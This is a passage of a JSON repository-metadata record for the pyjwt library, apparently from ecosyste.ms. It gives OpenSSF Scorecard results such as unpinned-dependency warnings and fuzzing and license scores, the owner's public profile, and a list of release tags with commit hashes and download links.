https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url"